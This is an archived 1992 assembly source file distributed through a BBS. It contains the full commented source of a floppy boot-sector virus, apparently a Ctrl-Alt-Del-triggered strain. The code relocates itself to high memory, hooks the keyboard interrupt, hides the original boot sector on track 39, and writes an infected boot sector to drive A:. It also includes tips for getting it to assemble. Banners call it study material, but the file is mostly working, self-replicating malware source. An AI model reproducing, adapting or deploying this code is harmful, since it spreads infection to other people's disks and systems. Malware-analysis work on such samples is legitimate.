home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / C-A-D.ASM < prev    next >
Assembly Source File  |  1992-03-08  |  21KB  |  432 lines

  1. ;****************************************************************************;
  2. ;                                                                            ;
  3. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  4. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  5. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  6. ;                     -=]                            [=-                     ;
  7. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  8. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  9. ;                     -=]                            [=-                     ;
  10. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  11. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  12. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  13. ;                                                                            ;
  14. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  15. ;                                                                            ;
  16. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  17. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  18. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  19. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  20. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  21. ; Is. Keep This Code in Responsible Hands!                                   ;
  22. ;                                                                            ;
  23. ;****************************************************************************;
  24. ;-----------------------------------------------------------------------;
  25. ; This virus is of the ?FLOPPY ONLY? variety.                           ;
  26. ; It replicates to the boot sector of a floppy disk and when it gains control
  27. ; it will move itself to upper memory.  It redirects the keyboard       ;
  28. ; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time  ;
  29. ; it will attempt to infect any floppy it finds in drive A:.            ;
  30. ; It keeps the real boot sector at track 39, sector 8, head 0           ;
  31. ; It does not map this sector bad in the fat (unlike the Pakistani Brain)
  32. ; and should that area be used by a file, the virus                     ;
  33. ; will die.  It also contains no anti detection mechanisms as does the  ;
  34. ; BRAIN virus.  It apparently uses head 0, sector 8 and not head 1      ;
  35. ; sector 9 because this is common to all floppy formats both single     ;
  36. ; sided and double sided.  It does not contain any malevolent TROJAN    ;
  37. ; HORSE code.  It does appear to contain a count of how many times it   ;
  38. ; has infected other diskettes although this is harmless and the count  ;
  39. ; is never accessed.                                                    ;
  40. ;                                                                       ;
  41. ; Things to note about this virus:                                      ;
  42. ; It can not only live through an ALT-CTRL-DEL reboot command, but this ;
  43. ; is its primary (only for that matter) means of reproduction to other  ;
  44. ; floppy diskettes.  The only way to remove it from an infected system  ;
  45. ; is to turn the machine off and reboot an uninfected copy of DOS.      ;
  46. ; It is even resident when no floppy is booted but BASIC is loaded      ;
  47. ; instead.  Then when ALT-CTRL-DEL is pressed from inside of BASIC,     ;
  48. ; it activates and infectes the floppy from which the user is           ;
  49. ; attempting to boot.                                                   ;
  50. ;                                                                       ;
  51. ; Also note that because of the POP CS command to pass control to       ;
  52. ; its self in upper memory, this virus does not to work on 80286        ;
  53. ; machines (because this is not a valid 80286 instruction).             ;
  54. ;                                                                       ;
  55. ; If your assembler will not allow the POP CS command to execute, replace;
  56. ; the POP CS command with an NOP and then assemble it, then debug that  ;
  57. ; part of the code and place POP CS in place of NOP at that section.    ;
  58. ;                                                                       ;
  59. ; The Norton Utilities can be used to identify infected diskettes by    ;
  60. ; looking at the boot sector and the DOS SYS utility can be used to     ;
  61. ; remove it (unlike the Pakistani Brain).                               ;
  62. ;-----------------------------------------------------------------------;
  63.                         ;
  64.     ORG  7C00H               ;
  65.                         ;
  66. TOS LABEL     WORD           ;TOP OF STACK
  67. ;-----------------------------------------------------------------------;
  68. ; 1. Find top of memory and copy ourself up there. (keeping same offset);
  69. ; 2. Save a copy of the first 32 interrupt vectors to top of memory too ;
  70. ; 3. Redirect int 9 (keyboard) to ourself in top of memory              ;
  71. ; 4. Jump to ourself at top of memory                                   ;
  72. ; 5. Load and execute REAL boot sector from track 40, head 0, sector 8  ;
  73. ;-----------------------------------------------------------------------;
  74. BEGIN:   CLI                 ;INITIALIZE STACK
  75.     XOR  AX,AX               ;
  76.     MOV  SS,AX               ;
  77.     MOV  SP,offset TOS       ;
  78.     STI                 ;
  79.                         ;
  80.     MOV  BX,0040H       ;ES = TOP OF MEMORY - (7C00H+512)
  81.     MOV  DS,BX               ;
  82.     MOV  AX,[0013H]          ;
  83.     MUL  BX             ;
  84.     SUB  AX,07E0H       ;   (7C00H+512)/16
  85.     MOV  ES,AX               ;
  86.                         ;
  87.     PUSH CS             ;DS = CS
  88.     POP  DS             ;
  89.                         ;
  90.     CMP  DI,3456H       ;IF THE VIRUS IS REBOOTING...
  91.     JNE  B_10           ;
  92.     DEC  Word Ptr [COUNTER_1]     ;...LOW&HI:COUNTER_1--
  93.                         ;
  94. B_10:    MOV  SI,SP     ;SP=7C00  ;COPY SELF TO TOP OF MEMORY
  95.     MOV  DI,SI               ;
  96.     MOV  CX,512              ;
  97.     CLD                 ;
  98.     REP  MOVSB               ;
  99.                         ;
  100.     MOV  SI,CX     ;CX=0          ;SAVE FIRST 32 INT VETOR ADDRESSES TO
  101.     MOV  DI,offset BEGIN - 128    ;   128 BYTES BELOW OUR HI CODE
  102.     MOV  CX,128              ;
  103.     REP  MOVSB               ;
  104.                         ;
  105.     CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  106.                         ;
  107.     PUSH ES   ;ES=HI    ;   JUMP TO OUR HI CODE WITH
  108.     POP  CS
  109.                         ;
  110.     PUSH DS   ;DS=0     ;   ES = DS
  111.     POP  ES             ;
  112.                         ;
  113.     MOV  BX,SP          ;   SP=7C00  ;LOAD REAL BOOT SECTOR TO 0000:7C00
  114.     MOV  DX,CX          ;CX=0        ;DRIVE A: HEAD 0
  115.     MOV  CX,2708H       ;   TRACK 40, SECTOR 8
  116.     MOV  AX,0201H       ;   READ SECTOR
  117.     INT  13H            ;   (common to 8/9 sect. 1/2 sided!)
  118.     JB   $              ;   HANG IF ERROR
  119.                         ;
  120.     JMP  JMP_BOOT       ;JMP 0000:7C00
  121.                         ;
  122. ;-----------------------------------------------------------------------;
  123. ; SAVE THEN REDIRECT INT 9 VECTOR                                       ;
  124. ;                                                                       ;
  125. ; ON ENTRY:   DS = 0                                                    ;
  126. ;        ES = WHERE TO SAVE OLD_09 & (HI)                               ;
  127. ;             WHERE NEW_09 IS         (HI)                              ;
  128. ;-----------------------------------------------------------------------;
  129. PUT_NEW_09:                  ;
  130.     DEC  Word Ptr [0413H]    ;TOP OF MEMORY (0040:0013) -= 1024
  131.                         ;
  132.     MOV  SI,9*4              ;COPY INT 9 VECTOR TO
  133.     MOV  DI,offset OLD_09    ;   OLD_09 (IN OUR HI CODE!)
  134.     MOV  CX,0004             ;
  135.                         ;
  136.     CLI                 ;
  137.     REP  MOVSB               ;
  138.     MOV  Word Ptr [9*4],offset NEW_09
  139.     MOV  [(9*4)+2],ES        ;
  140.     STI                 ;
  141.                         ;
  142.     RET                 ;
  143.                         ;
  144. ;-----------------------------------------------------------------------;
  145. ; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR                              ;
  146. ;-----------------------------------------------------------------------;
  147. ACK_KEYBD:                   ;
  148.     IN   AL,61H              ;RESET KEYBOARD THEN CONTINUE
  149.     MOV  AH,AL               ;
  150.     OR   AL,80H              ;
  151.     OUT  61H,AL              ;
  152.     XCHG AL,AH               ;
  153.     OUT  61H,AL              ;
  154.     JMP  RBOOT               ;
  155.                         ;
  156. ;-----------------------------------------------------------------------;
  157. ; DATA AREA WHICH IS NOT USED IN THIS VERSION                           ;
  158. ; REASON UNKNOWN                                                        ;
  159. ;-----------------------------------------------------------------------;
  160. TABLE    DB   27H,0,1,2      ;FORMAT INFORMATION FOR TRACK 39
  161.     DB   27H,0,2,2      ;   (CURRENTLY NOT USED)
  162.     DB   27H,0,3,2      ;
  163.     DB   27H,0,4,2      ;
  164.     DB   27H,0,5,2      ;
  165.     DB   27H,0,6,2      ;
  166.     DB   27H,0,7,2      ;
  167.     DB   27H,0,8,2      ;
  168.                         ;
  169. ;A7C9A   LABEL     BYTE           ;
  170.     DW   00024H              ;NOT USED
  171.     DB   0ADH           ;
  172.     DB   07CH           ;
  173.     DB   0A3H           ;
  174.     DW   00026H              ;
  175.                         ;
  176. ;L7CA1:                      ;
  177.     POP  CX             ;NOT USED
  178.     POP  DI             ;
  179.     POP  SI             ;
  180.     POP  ES             ;
  181.     POP  DS             ;
  182.     POP  AX             ;
  183.     POPF                ;
  184.     JMP  1111:1111      ;
  185.                         ;
  186. ;-----------------------------------------------------------------------;
  187. ; IF ALT & CTRL & DEL THEN ...                                          ;
  188. ; IF ALT & CTRL & ? THEN ...                                            ;
  189. ;-----------------------------------------------------------------------;
  190. NEW_09:  PUSHF                    ;
  191.     STI                 ;
  192.                         ;
  193.     PUSH AX             ;
  194.     PUSH BX             ;
  195.     PUSH DS             ;
  196.                         ;
  197.     PUSH CS             ;DS=CS
  198.     POP  DS             ;
  199.                         ;
  200.     MOV  BX,[ALT_CTRL W]     ;BX=SCAN CODE LAST TIME
  201.     IN   AL,60H              ;GET SCAN CODE
  202.     MOV  AH,AL               ;SAVE IN AH
  203.     AND  AX,887FH       ;STRIP 8th BIT IN AL, KEEP 8th BIT AH
  204.                         ;
  205.     CMP  AL,1DH              ;IS IT A [CTRL]...
  206.     JNE  N09_10              ;...JUMP IF NO
  207.     MOV  BL,AH               ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)
  208.     JMP  N09_30              ;
  209.                         ;
  210. N09_10:  CMP  AL,38H              ;IS IT AN [ALT]...
  211.     JNE  N09_20              ;...JUMP IF NO
  212.     MOV  BH,AH               ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)
  213.     JMP  N09_30              ;
  214.                         ;
  215. N09_20:  CMP  BX,0808H       ;IF (CTRL DOWN & ALT DOWN)...
  216.     JNE  N09_30              ;...JUMP IF NO
  217.                         ;
  218.     CMP  AL,17H              ;IF [I]...
  219.     JE   N09_X0              ;...JUMP IF YES
  220.     CMP  AL,53H              ;IF [DEL]...
  221.     JE   ACK_KEYBD      ;...JUMP IF YES
  222.                         ;
  223. N09_30:  MOV  [ALT_CTRL],BX       ;SAVE SCAN CODE FOR NEXT TIME
  224.                         ;
  225. N09_90:  POP  DS             ;
  226.     POP  BX             ;
  227.     POP  AX             ;
  228.     POPF                ;
  229.                         ;
  230.     DB   0EAH           ;JMP F000:E987
  231. OLD_09   DW   ?              ;
  232.     DW   0F000H              ;
  233.                         ;
  234. N09_X0:  JMP  N09_X1              ;
  235.                         ;
  236. ;-----------------------------------------------------------------------;
  237. ;                                                                       ;
  238. ;-----------------------------------------------------------------------;
  239. RBOOT:   MOV  DX,03D8H       ;DISABLE COLOR VIDEO !?!?
  240.     MOV  AX,0800H       ;AL=0, AH=DELAY ARG
  241.     OUT  DX,AL               ;
  242.     CALL DELAY               ;
  243.     MOV  [ALT_CTRL],AX  ;AX=0     ;
  244.                         ;
  245.     MOV  AL,3 ;AH=0          ;SELECT 80x25 COLOR
  246.     INT  10H            ;
  247.     MOV  AH,2           ;SET CURSOR POS 0,0
  248.     XOR  DX,DX               ;
  249.     MOV  BH,DH               ;   PAGE 0
  250.     INT  10H            ;
  251.                         ;
  252.     MOV  AH,1           ;SET CURSOR TYPE
  253.     MOV  CX,0607H       ;
  254.     INT  10H            ;
  255.                         ;
  256.     MOV  AX,0420H       ;DELAY (AL=20H FOR EOI BELOW)
  257.     CALL DELAY               ;
  258.                         ;
  259.     CLI                 ;
  260.     OUT  20H,AL              ;SEND EOI TO INT CONTROLLER
  261.                         ;
  262.     MOV  ES,CX     ;CX=0 (DELAY)  ;RESTORE FIRST 32 INT VECTORS
  263.     MOV  DI,CX               ;   (REMOVING OUR INT 09 HANDLER!)
  264.     MOV  SI,offset BEGIN - 128    ;
  265.     MOV  CX,128              ;
  266.     CLD                 ;
  267.     REP  MOVSB               ;
  268.                         ;
  269.     MOV  DS,CX     ;CX=0          ;DS=0
  270.                         ;
  271.     MOV  Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
  272.     MOV  [(19H*4)+2],CS      ;
  273.                         ;
  274.     MOV  AX,0040H       ;DS = ROM DATA AREA
  275.     MOV  DS,AX               ;
  276.                         ;
  277.     MOV  [0017H],AH     ;AH=0     ;KBFLAG (SHIFT STATES) = 0
  278.     INC  Word Ptr [0013H]    ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
  279.                         ;
  280.     PUSH DS             ;IF BIOS F000:E502 == 21E4...
  281.     MOV  AX,0F000H      ;
  282.     MOV  DS,AX               ;
  283.     CMP  Word Ptr [0E502H],21E4H  ;
  284.     POP  DS             ;
  285.     JE   R_90           ;
  286.     INT  19H            ;   IF NOT...REBOOT
  287.                         ;
  288. R_90:    JMP  0F000:0E502H        ;...DO IT ?!?!?!
  289.                         ;
  290. ;-----------------------------------------------------------------------;
  291. ; REBOOT INT VECTOR                                                     ;
  292. ;-----------------------------------------------------------------------;
  293. NEW_19:  XOR  AX,AX               ;
  294.                         ;
  295.     MOV  DS,AX               ;DS=0
  296.     MOV  AX,[0410]      ;AX=EQUIP FLAG
  297.     TEST AL,1           ;IF FLOPPY DRIVES ...
  298.     JNZ  N19_20              ;...JUMP
  299. N19_10:  PUSH CS             ;ELSE ES=CS
  300.     POP  ES             ;
  301.     CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  302.     INT  18H            ;LOAD BASIC
  303.                         ;
  304. N19_20:  MOV  CX,0004             ;RETRY COUNT = 4
  305.                         ;
  306. N19_22:  PUSH CX             ;
  307.     MOV  AH,00               ;RESET DISK
  308.     INT  13             ;
  309.     JB   N19_81              ;
  310.     MOV  AX,0201             ;READ BOOT SECTOR
  311.     PUSH DS             ;
  312.     POP  ES             ;
  313.     MOV  BX,offset BEGIN          ;
  314.     MOV  CX,1           ;TRACK 0, SECTOR 1
  315.     INT  13H            ;
  316. N19_81:  POP  CX             ;
  317.     JNB  N19_90              ;
  318.     LOOP N19_22              ;
  319.     JMP  N19_10              ;IF RETRY EXPIRED...LOAD BASIC
  320.                         ;
  321. ;-----------------------------------------------------------------------;
  322. ; Reinfection segment.                                                  ;
  323. ;-----------------------------------------------------------------------;
  324. N19_90:  CMP  DI,3456             ;IF NOT FLAG SET...
  325.     JNZ  RE_INFECT      ;...RE INFECT
  326.                         ;
  327. JMP_BOOT:                    ;PASS CONTROL TO BOOT SECTOR
  328.     JMP  0000:7C00H          ;
  329.                         ;
  330. ;-----------------------------------------------------------------------;
  331. ; Reinfection Segment.                                                  ;
  332. ;-----------------------------------------------------------------------;
  333. RE_INFECT:                   ;
  334.     MOV  SI,offset BEGIN          ;COMPARE BOOT SECTOR JUST LOADED WITH
  335.     MOV  CX,00E6H       ;   OURSELF
  336.     MOV  DI,SI               ;
  337.     PUSH CS             ;
  338.     POP  ES             ;
  339.     CLD                 ;
  340.     REPE CMPSB               ;
  341.     JE   RI_12               ;IF NOT EQUAL...
  342.                         ;
  343.     INC  Word Ptr ES:[COUNTER_1]  ;INC. COUNTER IN OUR CODE (NOT DS!)
  344.                         ;
  345. ;MAKE SURE TRACK 39, HEAD 0 FORMATTED  ;
  346.     MOV  BX,offset TABLE          ;FORMAT INFO
  347.     MOV  DX,0000             ;DRIVE A: HEAD 0
  348.     MOV  CH,40-1             ;TRACK 39
  349.     MOV  AH,5           ;FORMAT
  350.     JMP  RI_10               ;REMOVE THE FORMAT OPTION FOR NOW !
  351.                         ;
  352. ; <<< NO EXECUTION PATH TO HERE >>>    ;
  353.     JB   RI_80               ;
  354.                         ;
  355. ;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
  356. RI_10:   MOV  ES,DX               ;ES:BX = 0000:7C00, HEAD=0
  357.     MOV  BX,offset BEGIN          ;TRACK 40H
  358.     MOV  CL,8           ;SECTOR 8
  359.     MOV  AX,0301H       ;WRITE 1 SECTOR
  360.     INT  13H            ;
  361.                         ;
  362.     PUSH CS             ;   (ES=CS FOR PUT_NEW_09 BELOW)
  363.     POP  ES             ;
  364.     JB   RI_80               ;IF WRITE ERROR...JUMP TO BOOT CODE
  365.                         ;
  366.     MOV  CX,0001             ;WRITE INFECTED BOOT SECTOR !
  367.     MOV  AX,0301             ;
  368.     INT  13H            ;
  369.     JB   RI_80               ;   IF ERROR...JUMP TO BOOT CODE
  370.                         ;
  371. RI_12:   MOV  DI,3456H       ;SET ?JUST INFECTED ANOTHER ONE?...
  372.     INT  19H            ;...FLAG AND REBOOT
  373.                         ;
  374. RI_80:   CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  375.     DEC  Word Ptr ES:[COUNTER_1]  ;   (DEC. CAUSE DIDNT INFECT)
  376.     JMP  JMP_BOOT       ;
  377.                         ;
  378. ;-----------------------------------------------------------------------;
  379. ;                                                                       ;
  380. ;-----------------------------------------------------------------------;
  381. N09_X1:  MOV  [ALT_CTRL],BX       ;SAVE ALT & CTRL STATUS
  382.                         ;
  383.     MOV  AX,[COUNTER_1]      ;PUT COUNTER_1 INTO RESET FLAG
  384.     MOV  BX,0040H       ;
  385.     MOV  DS,BX               ;
  386.     MOV  [0072H],AX          ;   0040:0072 = RESET FLAG
  387.     JMP  N09_90              ;
  388.                         ;
  389. ;-----------------------------------------------------------------------;
  390. ; DELAY                                                                 ;
  391. ;                                                                       ;
  392. ; ON ENTRY    AH:CX = LOOP COUNT                                        ;
  393. ;-----------------------------------------------------------------------;
  394. DELAY:   SUB  CX,CX               ;
  395. D_01:    LOOP $              ;
  396.     SUB  AH,1           ;
  397.     JNZ  D_01           ;
  398.     RET                 ;
  399.                         ;
  400. ;-----------------------------------------------------------------------;
  401. ;                                                                       ;
  402. ;-----------------------------------------------------------------------;
  403. A7DF4         DB   27H,00H,8,2
  404.  
  405. COUNTER_1     DW   001CH
  406. ALT_CTRL      DW   0
  407. A7DFC         DB   27H,0,8,2
  408.  
  409. ;****************************************************************************;
  410. ;                                                                            ;
  411. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  412. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  413. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  414. ;                     -=]                            [=-                     ;
  415. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  416. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  417. ;                     -=]                            [=-                     ;
  418. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  419. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  420. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  421. ;                                                                            ;
  422. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  423. ;                                                                            ;
  424. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  425. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  426. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  427. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  428. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  429. ; Is. Keep This Code in Responsible Hands!                                   ;
  430. ;                                                                            ;
  431. ;****************************************************************************;
  432.